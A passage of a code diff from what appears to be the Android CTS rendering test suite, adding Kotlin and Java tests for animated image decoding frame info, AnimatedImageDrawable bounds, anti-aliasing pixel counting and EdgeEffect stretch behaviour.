+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                100, 100, 200, 200,
+                                                100, 100, 200, 200)),
+        arrayOf<Any>("stoplight.webp", intArrayOf(0, 0, 145, 55,
+                                                  0, 0, 145, 55,
+                                                  0, 0, 145, 55))
+    )
+
+    @Test
+    @Parameters(method = "animationsAndRects")
+    fun testFrameRects(image: String, rects: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            val left = rects[i * 4]
+            val top = rects[i * 4 + 1]
+            val right = rects[i * 4 + 2]
+            val bottom = rects[i * 4 + 3]
+            try {
+                nTestGetFrameRect(frameInfo, left, top, right, bottom)
+            } catch (t: Throwable) {
+                throw AssertionError("$image, frame $i: ${t.message}", t)
+            }
+    }
+
+    fun animationsAndAlphas() = arrayOf(
+        arrayOf<Any>("animated.gif", BooleanArray(4) { true }),
+        arrayOf<Any>("animated_webp.webp", BooleanArray(4) { true }),
+        arrayOf<Any>("required_gif.gif", booleanArrayOf(false, true, true, true,
+                true, true, true, true)),
+        arrayOf<Any>("required_webp.webp", BooleanArray(7) { false }),
+        arrayOf<Any>("alphabetAnim.gif", booleanArrayOf(true, false, true, false,
+                true, true, true, true, true, true, true, true, true)),
+        arrayOf<Any>("blendBG.webp", booleanArrayOf(false, true, false, true,
+                                                 false, true, true)),
+        arrayOf<Any>("stoplight.webp", BooleanArray(3) { false })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndAlphas")
+    fun testAlphas(image: String, alphas: BooleanArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(alphas[i], nGetFrameAlpha(frameInfo), "Mismatch in alpha for $image frame $i "
+                    + "expected ${alphas[i]}")
+    }
+
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE = 1
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND = 2
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS = 3
+
+    fun animationsAndDisposeOps() = arrayOf(
+        arrayOf<Any>("animated.gif", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND }),
+        arrayOf<Any>("animated_webp.webp", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE }),
+        arrayOf<Any>("required_gif.gif", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("required_webp.webp", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("alphabetAnim.gif", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("blendBG.webp", IntArray(7) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE }),
+        arrayOf<Any>("stoplight.webp", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndDisposeOps")
+    fun testDisposeOps(image: String, disposeOps: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(disposeOps[i], nGetDisposeOp(frameInfo))
+    }
+
+    private val ANDROID_IMAGE_DECODER_BLEND_OP_SRC = 1
+    private val ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER = 2
+
+    fun animationsAndBlendOps() = arrayOf(
+        arrayOf<Any>("animated.gif", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("animated_webp.webp", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC }),
+        arrayOf<Any>("required_gif.gif", IntArray(7) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("required_webp.webp", intArrayOf(ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER)),
+        arrayOf<Any>("alphabetAnim.gif", IntArray(13) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("blendBG.webp", intArrayOf(ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC, ANDROID_IMAGE_DECODER_BLEND_OP_SRC)),
+        arrayOf<Any>("stoplight.webp", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndBlendOps")
+    fun testBlendOps(image: String, blendOps: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(blendOps[i], nGetBlendOp(frameInfo), "Mismatch in blend op for $image "
+                        + "frame $i, expected: ${blendOps[i]}")
+    }
+
+    @Test
+    fun testHandleDisposePrevious() {
+        // The first frame is ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, followed by a single
+        // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS frame. The third frame looks different
+        // depending on whether that is respected.
+        val image = "RestorePrevious.gif"
+        val disposeOps = intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                                    ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                                    ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+        val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+
+        val verifiers = arrayOf<BitmapVerifier>(
+            ColorVerifier(Color.BLACK, 0),
+            RectVerifier(Color.BLACK, Color.RED, Rect(0, 0, 100, 80), 0),
+            RectVerifier(Color.BLACK, Color.GREEN, Rect(0, 0, 100, 50), 0))
+
+        with(nCreateFrameInfo()) {
+            for (i in 0..2) {
+                nGetFrameInfo(decoder, this)
+                assertEquals(disposeOps[i], nGetDisposeOp(this))
+
+                nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+                assertTrue(verifiers[i].verify(bitmap))
+                nAdvanceFrame(decoder)
+            }
+            nDeleteFrameInfo(this)
+        }
+
+        // Now redecode without letting AImageDecoder handle
+        // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nSetHandleDisposePrevious(decoder, false)
+
+        // If the client does not handle ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS
+        // the final frame does not match.
+        for (i in 0..2) {
+            nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertEquals(i != 2, verifiers[i].verify(bitmap))
+
+            if (i == 2) {
+                // Not only can we verify that frame 2 does not look as expected, but it
+                // should look as if we decoded frame 1 and did not revert it.
+                val verifier = RegionVerifier()
+                verifier.addVerifier(Rect(0, 0, 100, 50), ColorVerifier(Color.GREEN, 0))
+                verifier.addVerifier(Rect(0, 50, 100, 80), ColorVerifier(Color.RED, 0))
+                verifier.addVerifier(Rect(0, 80, 100, 100), ColorVerifier(Color.BLACK, 0))
+                assertTrue(verifier.verify(bitmap))
+            }
+            nAdvanceFrame(decoder)
+        }
+
+        // Now redecode and manually store/restore the first frame.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+        val storedFrame = bitmap
+        for (i in 1..2) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+            val frame = storedFrame.copy(storedFrame.config, true)
+            nDecode(decoder, frame, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifiers[i].verify(frame))
+            frame.recycle()
+        }
+
+        // This setting can be switched back, so that AImageDecoder handles it.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nSetHandleDisposePrevious(decoder, true)
+
+        for (i in 0..2) {
+            nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifiers[i].verify(bitmap))
+            nAdvanceFrame(decoder)
+        }
+
+        bitmap.recycle()
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    private external fun nTestNullDecoder()
+    private external fun nTestToString()
+    private external fun nOpenAsset(assets: AssetManager, name: String): Long
+    private external fun nCloseAsset(asset: Long)
+    private external fun nCreateFromAsset(asset: Long): Long
+    private external fun nGetWidth(decoder: Long): Int
+    private external fun nGetHeight(decoder: Long): Int
+    private external fun nDeleteDecoder(decoder: Long)
+    private external fun nSetTargetSize(decoder: Long, width: Int, height: Int): Int
+    private external fun nSetCrop(decoder: Long, left: Int, top: Int, right: Int, bottom: Int): Int
+    private external fun nDecode(decoder: Long, dst: Bitmap, expectedResult: Int)
+    private external fun nAdvanceFrame(decoder: Long): Int
+    private external fun nRewind(decoder: Long): Int
+    private external fun nSetUnpremultipliedRequired(decoder: Long, required: Boolean): Int
+    private external fun nSetAndroidBitmapFormat(decoder: Long, format: Int): Int
+    private external fun nSetDataSpace(decoder: Long, format: Int): Int
+    private external fun nCreateFrameInfo(): Long
+    private external fun nDeleteFrameInfo(frameInfo: Long)
+    private external fun nGetFrameInfo(decoder: Long, frameInfo: Long): Int
+    private external fun nTestNullFrameInfo(assets: AssetManager, name: String)
+    private external fun nGetDuration(frameInfo: Long): Long
+    private external fun nTestGetFrameRect(
+        frameInfo: Long,
+        expectedLeft: Int,
+        expectedTop: Int,
+        expectedRight: Int,
+        expectedBottom: Int
+    )
+    private external fun nGetFrameAlpha(frameInfo: Long): Boolean
+    private external fun nGetAlpha(decoder: Long): Boolean
+    private external fun nGetDisposeOp(frameInfo: Long): Int
+    private external fun nGetBlendOp(frameInfo: Long): Int
+    private external fun nGetRepeatCount(decoder: Long): Int
+    private external fun nSetHandleDisposePrevious(decoder: Long, handle: Boolean)
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AnimatedImageDrawableTest.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AnimatedImageDrawableTest.kt
new file mode 100644
index 0000000..87cbf13
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AnimatedImageDrawableTest.kt
@@ -0,0 +1,194 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses
+
+import androidx.test.InstrumentationRegistry
+
+import android.content.res.AssetManager
+import android.graphics.Canvas
+import android.graphics.Color
+import android.graphics.ImageDecoder
+import android.graphics.LightingColorFilter
+import android.graphics.Paint
+import android.graphics.Path
+import android.graphics.PixelFormat
+import android.graphics.PorterDuff
+import android.graphics.PorterDuffXfermode
+import android.graphics.Rect
+import android.graphics.drawable.Drawable
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier
+import android.uirendering.cts.testinfrastructure.ActivityTestBase
+import android.uirendering.cts.testinfrastructure.CanvasClient
+import android.view.View
+import junitparams.JUnitParamsRunner
+import kotlin.math.roundToInt
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(JUnitParamsRunner::class)
+class AnimatedImageDrawableTest : ActivityTestBase() {
+    private fun getAssets(): AssetManager {
+        return InstrumentationRegistry.getTargetContext().getAssets()
+    }
+
+    private val TEST_FILE = "stoplight.webp"
+
+    private fun makeVerifier(testName: String, mssim: Double): BitmapVerifier {
+        val source = ImageDecoder.createSource(getAssets(),
+                "AnimatedImageDrawableTest/${testName}_golden.png")
+        val bitmap = ImageDecoder.decodeBitmap(source) {
+            decoder, info, source ->
+                // Use software so the verifier can read the pixels.
+                decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+        }
+        val verifier = GoldenImageVerifier(bitmap, MSSIMComparer(mssim))
+
+        // The Verifier stored the pixels in an array, so the Bitmap is no longer need.
+        bitmap.recycle()
+        return verifier
+    }
+
+    /**
+     * Test AnimatedImageDrawable#setBounds.
+     *
+     * @param testName Name of the test; used to find the golden image.
+     * @param mssim Structural Similarity Index for how similar the animated version should look to
+     *              the golden image. It should be close to 1.0; differences come from the drawing
+     *              backend (software vs hardware vs Picture).
+     * @param resizer Function that calls setBounds (and potentially other modifications) on the
+     *             provided drawable based on the provided width and height of the Canvas.
+     * @param listener OnHeaderDecodedListener to pass to decodeDrawable.
+     */
+    private fun internalTestBoundsAndListener(
+        testName: String,
+        mssim: Double,
+        resizer: (Drawable, Int, Int) -> Unit,
+        listener: ImageDecoder.OnHeaderDecodedListener? = null
+    ) {
+        val source = ImageDecoder.createSource(getAssets(), TEST_FILE)
+        class Client(val drawable: Drawable) : CanvasClient {
+            override fun draw(canvas: Canvas, width: Int, height: Int) {
+                canvas.drawColor(Color.WHITE)
+                resizer(drawable, width, height)
+                drawable.draw(canvas)
+            }
+        }
+        val animatedDrawable = if (listener == null) ImageDecoder.decodeDrawable(source)
+                else ImageDecoder.decodeDrawable(source, listener)
+        createTest().addCanvasClient(Client(animatedDrawable)).runWithVerifier(
+                makeVerifier(testName, mssim))
+    }
+
+    private fun internalTestBounds(
+        testName: String,
+        mssim: Double,
+        resizer: (Drawable, Int, Int) -> Unit
+    ) = internalTestBoundsAndListener(testName, mssim, resizer)
+
+    @Test
+    fun testSetBounds() = internalTestBounds("testSetBounds", .998) {
+        drawable, width, height ->
+            drawable.setBounds(1, 1, width - 1, height - 1)
+    }
+
+    @Test
+    fun testSetBounds2() = internalTestBounds("testSetBounds2", .999) {
+        drawable, width, height ->
+            drawable.setBounds(width / 2, height / 2, width, height)
+    }
+
+    @Test
+    fun testSetBoundsMirrored() = internalTestBounds("testSetBoundsMirrored", .999) {
+        drawable, width, height ->
+            drawable.isAutoMirrored = true
+            drawable.layoutDirection = View.LAYOUT_DIRECTION_RTL
+            drawable.setBounds(0, 0, width / 2, height / 2)
+    }
+
+    @Test
+    fun testSetBoundsRTLUnmirrored() = internalTestBounds("testSetBoundsRTLUnmirrored", .999) {
+        drawable, width, height ->
+            drawable.isAutoMirrored = false
+            drawable.layoutDirection = View.LAYOUT_DIRECTION_RTL
+            drawable.setBounds(0, 0, width / 2, height / 2)
+    }
+
+    @Test
+    fun testSetBoundsLTRMirrored() = internalTestBounds("testSetBoundsLTRMirrored", .999) {
+        drawable, width, height ->
+            drawable.isAutoMirrored = false
+            drawable.layoutDirection = View.LAYOUT_DIRECTION_LTR
+            drawable.setBounds(0, 0, width / 2, height / 2)
+    }
+
+    @Test
+    fun testSetBoundsAlpha() = internalTestBounds("testSetBoundsAlpha", .996) {
+        drawable, width, height ->
+            drawable.alpha = 128
+            drawable.setBounds(5, 5, width - 5, height - 5)
+    }
+
+    @Test
+    fun testSetBoundsAlphaMirrored() = internalTestBounds("testSetBoundsAlphaMirrored", .999) {
+        drawable, width, height ->
+            drawable.alpha = 128
+            drawable.isAutoMirrored = true
+            drawable.layoutDirection = View.LAYOUT_DIRECTION_RTL
+            drawable.setBounds(width / 3, 0, (width * 2 / 3.0).roundToInt(), height / 2)
+    }
+
+    @Test
+    fun testSetBoundsColorFilter() = internalTestBounds("testSetBoundsColorFilter", .999) {
+        drawable, width, height ->
+            drawable.colorFilter = LightingColorFilter(Color.RED, Color.BLUE)
+            drawable.setBounds(7, 7, width - 7, height - 7)
+    }
+
+    @Test
+    fun testSetBoundsCrop() = internalTestBoundsAndListener("testSetBoundsCrop", .996, {
+        drawable, width, height ->
+            drawable.setBounds(2, 2, width - 2, height - 2)
+    }, {
+        decoder, info, source ->
+            decoder.setCrop(Rect(100, 0, 145, 55))
+    })
+
+    @Test
+    fun testSetBoundsPostProcess() = internalTestBoundsAndListener("testSetBoundsPostProcess", .996,
+    {
+        drawable, width, height ->
+            drawable.setBounds(3, 3, width - 3, height - 3)
+    }, {
+        decoder, info, source ->
+            decoder.setPostProcessor {
+                canvas ->
+                    val path = Path()
+                    path.fillType = Path.FillType.INVERSE_EVEN_ODD
+                    val width = canvas.getWidth().toFloat()
+                    val height = canvas.getHeight().toFloat()
+                    path.addRoundRect(0.0f, 0.0f, width, height, 20.0f, 20.0f, Path.Direction.CW)
+                    val paint = Paint()
+                    paint.setAntiAlias(true)
+                    paint.color = Color.TRANSPARENT
+                    paint.xfermode = PorterDuffXfermode(PorterDuff.Mode.SRC)
+                    canvas.drawPath(path, paint)
+                    PixelFormat.TRANSLUCENT
+            }
+    })
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasTests.java
index 3539312..de5da22 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasTests.java
@@ -167,6 +167,46 @@
                 .runWithVerifier(new SamplePointVerifier(testPoints, colors));
     }
 
+    private void drawRotatedBitmap(boolean aa, Canvas canvas) {
+        // create a black bitmap to be drawn to the canvas
+        Bitmap bm = getMutableBitmap();
+        bm.eraseColor(Color.BLACK);
+
+        // canvas density and bitmap density must match in order for no scaling to occur
+        // and aa to be distinguishable from non-aa
+        bm.setDensity(canvas.getDensity());
+
+        canvas.drawColor(Color.WHITE);
+
+        Paint aaPaint = new Paint();
+        aaPaint.setAntiAlias(aa);
+
+        canvas.rotate(-1.0f, 0, 0);
+        canvas.drawBitmap(bm, 0, 0, aaPaint);
+    }
+
+    @Test
+    public void testDrawRotatedBitmapWithAA() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    canvas.setDensity(400);
+                    drawRotatedBitmap(true, canvas);
+                })
+                // Test asserts there are more than 10 grey pixels.
+                .runWithVerifier(AntiAliasPixelCounter.aaVerifier(Color.WHITE, Color.BLACK, 10));
+    }
+
+    @Test
+    public void testDrawRotatedBitmapWithoutAA() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    canvas.setDensity(400);
+                    drawRotatedBitmap(false, canvas);
+                })
+                // Test asserts there are no grey pixels.
+                .runWithVerifier(AntiAliasPixelCounter.noAAVerifier(Color.WHITE, Color.BLACK));
+    }
+
     @Test(expected = IllegalArgumentException.class)
     public void testDrawHwBitmap_inSwCanvas() {
         Bitmap hwBitmap = getImmutableBitmap().copy(Bitmap.Config.HARDWARE, false);
@@ -822,7 +862,7 @@
                     canvas.restore();
 
                 })
-                .runWithVerifier(new AntiAliasPixelCounter(Color.WHITE, Color.RED, 10));
+                .runWithVerifier(AntiAliasPixelCounter.aaVerifier(Color.WHITE, Color.RED, 10));
     }
 
     private static class AntiAliasPixelCounter extends BitmapVerifier {
@@ -830,11 +870,27 @@
         private final int mColor1;
         private final int mColor2;
         private final int mCountThreshold;
+        // when true mCountThreshold is treated as a maximum
+        // when false mCountThreshold is treated as a minimum
+        private final boolean mThresholdIsAMaxium;
 
-        AntiAliasPixelCounter(int color1, int color2, int countThreshold) {
+        // factory method for a verifier that confirms some non-target-color pixels are present
+        // this is only a verification that aa has occurred if a single solid color shape has been
+        // drawn on a solid background with at least one one visible edge, and every other possible
+        // thing that can change the colors has been disabled.
+        public static AntiAliasPixelCounter aaVerifier(int color1, int color2, int countThreshold) {
+            return new AntiAliasPixelCounter(color1, color2, countThreshold, false);
+        }
+        // factory method for a verifier that confirms only target color pixels are present.
+        public static AntiAliasPixelCounter noAAVerifier(int color1, int color2) {
+            return new AntiAliasPixelCounter(color1, color2, 0, true);
+        }
+
+        AntiAliasPixelCounter(int color1, int color2, int countThreshold, boolean thresholdIsMax) {
             mColor1 = color1;
             mColor2 = color2;
             mCountThreshold = countThreshold;
+            mThresholdIsAMaxium = thresholdIsMax;
         }
 
         @Override
@@ -848,7 +904,11 @@
                     }
                 }
             }
-            return nonTargetColorCount > mCountThreshold;
+            if (mThresholdIsAMaxium) {
+                return nonTargetColorCount <= mCountThreshold;
+            } else {
+                return nonTargetColorCount > mCountThreshold;
+            }
         }
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
index 7d7ebc7..6dec22e 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
@@ -25,20 +25,33 @@
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.verify;
 
+import android.app.compat.CompatChanges;
 import android.content.Context;
 import android.graphics.Bitmap;
 import android.graphics.BlendMode;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
+import android.graphics.RecordingCanvas;
+import android.graphics.Rect;
+import android.graphics.RenderNode;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.RegionVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.Tracer;
 import android.uirendering.cts.util.BitmapAsserter;
 import android.uirendering.cts.util.MockVsyncHelper;
+import android.util.AttributeSet;
 import android.view.ContextThemeWrapper;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.animation.AnimationUtils;
 import android.widget.EdgeEffect;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -50,7 +63,9 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class EdgeEffectTests {
+public class EdgeEffectTests extends ActivityTestBase {
+    static final long USE_STRETCH_EDGE_EFFECT_BY_DEFAULT = 171228096L;
+    static final long USE_STRETCH_EDGE_EFFECT_FOR_SUPPORTED = 178807038L;
 
     private static final int WIDTH = 90;
     private static final int HEIGHT = 90;
@@ -105,6 +120,7 @@
         EdgeEffect edgeEffect = new EdgeEffect(getContext());
         edgeEffect.setSize(WIDTH, HEIGHT);
         edgeEffect.setColor(Color.RED);
+        edgeEffect.setType(EdgeEffect.TYPE_GLOW);
         assertEquals(Color.RED, edgeEffect.getColor());
         initializer.initialize(edgeEffect);
         edgeEffect.draw(canvas);
@@ -197,6 +213,341 @@
         assertEquals(0, edgeEffect.getMaxHeight());
     }
 
+    @Test
+    public void testEdgeEffectTypeAccessors() {
+        EdgeEffect effect = new EdgeEffect(getContext());
+
+        int expectedStartType = (CompatChanges.isChangeEnabled(USE_STRETCH_EDGE_EFFECT_BY_DEFAULT)
+                || CompatChanges.isChangeEnabled(USE_STRETCH_EDGE_EFFECT_FOR_SUPPORTED))
+                ? EdgeEffect.TYPE_STRETCH : EdgeEffect.TYPE_GLOW;
+        assertEquals(expectedStartType, effect.getType());
+        effect.setType(EdgeEffect.TYPE_STRETCH);
+        assertEquals(EdgeEffect.TYPE_STRETCH, effect.getType());
+    }
+
+    @Test
+    public void testEdgeEffectTypeAttribute() {
+        final Context targetContext = InstrumentationRegistry.getTargetContext();
+        final Context themeContext =
+                new ContextThemeWrapper(targetContext, R.style.StretchEdgeEffect);
+        EdgeEffect withWarpEffect = new EdgeEffect(themeContext);
+        assertEquals(EdgeEffect.TYPE_STRETCH, withWarpEffect.getType());
+    }
+
+    @Test
+    public void testCustomViewEdgeEffectAttribute() {
+        Context targetContext = InstrumentationRegistry.getTargetContext();
+        LayoutInflater layoutInflater = LayoutInflater.from(targetContext);
+        View view = layoutInflater.inflate(R.layout.stretch_edge_effect_view, null);
+        assertTrue(view instanceof CustomEdgeEffectView);
+        CustomEdgeEffectView customEdgeEffectView = (CustomEdgeEffectView) view;
+        assertEquals(EdgeEffect.TYPE_STRETCH, customEdgeEffectView.edgeEffect.getType());
+    }
+
+    @Test
+    public void testDistance() {
+        EdgeEffect effect = new EdgeEffect(getContext());
+
+        assertEquals(0f, effect.getDistance(), 0.001f);
+
+        assertEquals(0.1f, effect.onPullDistance(0.1f, 0.5f), 0.001f);
+
+        assertEquals(0.1f, effect.getDistance(), 0.001f);
+
+        assertEquals(-0.05f, effect.onPullDistance(-0.05f, 0.5f), 0.001f);
+
+        assertEquals(0.05f, effect.getDistance(), 0.001f);
+
+        assertEquals(-0.05f, effect.onPullDistance(-0.2f, 0.5f), 0.001f);
+
+        assertEquals(0f, effect.getDistance(), 0.001f);
+    }
+
+    private RenderNode drawStretchEffect(float distance, float displacement, float rotation) {
+        int width = WIDTH;
+        int height = HEIGHT;
+        EdgeEffect edgeEffect = new EdgeEffect(getContext());
+        edgeEffect.setSize(width, height);
+        edgeEffect.setType(EdgeEffect.TYPE_STRETCH);
+        edgeEffect.onPullDistance(distance, displacement);
+
+        RenderNode renderNode = new RenderNode("");
+        renderNode.setPosition(0, 0, width, height);
+        RecordingCanvas recordingCanvas = renderNode.beginRecording();
+        Paint paint = new Paint();
+        paint.setColor(Color.GREEN);
+        recordingCanvas.drawRect(0f, 0f, width, height / 2f, paint);
+        paint.setColor(Color.MAGENTA);
+        recordingCanvas.drawRect(0, height / 2f, width, height, paint);
+        renderNode.endRecording();
+
+        RenderNode outer = new RenderNode("outer");
+        outer.setPosition(0, 0, width, height);
+        RecordingCanvas outerRecordingCanvas = outer.beginRecording();
+        outerRecordingCanvas.drawRenderNode(renderNode);
+        recordingCanvas.rotate(rotation, width / 2f, height / 2f);
+        edgeEffect.draw(outerRecordingCanvas);
+        outer.endRecording();
+        return outer;
+    }
+
+    @Test
+    public void testStretchTop() {
+        RenderNode renderNode = drawStretchEffect(1f, 1f, 0f);
+        Rect innerRect = new Rect(0, 0, WIDTH, HEIGHT / 2 + 1);
+        Rect outerRect = new Rect(0, HEIGHT / 2 + 10, WIDTH, HEIGHT);
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier().addVerifier(
+                                innerRect,
+                                new ColorVerifier(Color.GREEN)
+                        ).addVerifier(
+                                outerRect,
+                                new ColorVerifier(Color.MAGENTA)
+                        ));
+    }
+
+    @Test
+    public void testStretchBottom() {
+        RenderNode renderNode = drawStretchEffect(1f, 1f, 180f);
+        Rect innerRect = new Rect(0, 0, WIDTH, 1);
+        Rect outerRect = new Rect(0, (HEIGHT / 2) - 1, WIDTH, HEIGHT / 2);
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier().addVerifier(
+                                innerRect,
+                                new ColorVerifier(Color.GREEN)
+                        ).addVerifier(
+                                outerRect,
+                                new ColorVerifier(Color.MAGENTA)
+                        ));
+    }
+
+    @Test
+    public void testNoSetSizeCallDoesNotCrash() {
+        EdgeEffect edgeEffect = new EdgeEffect(getContext());
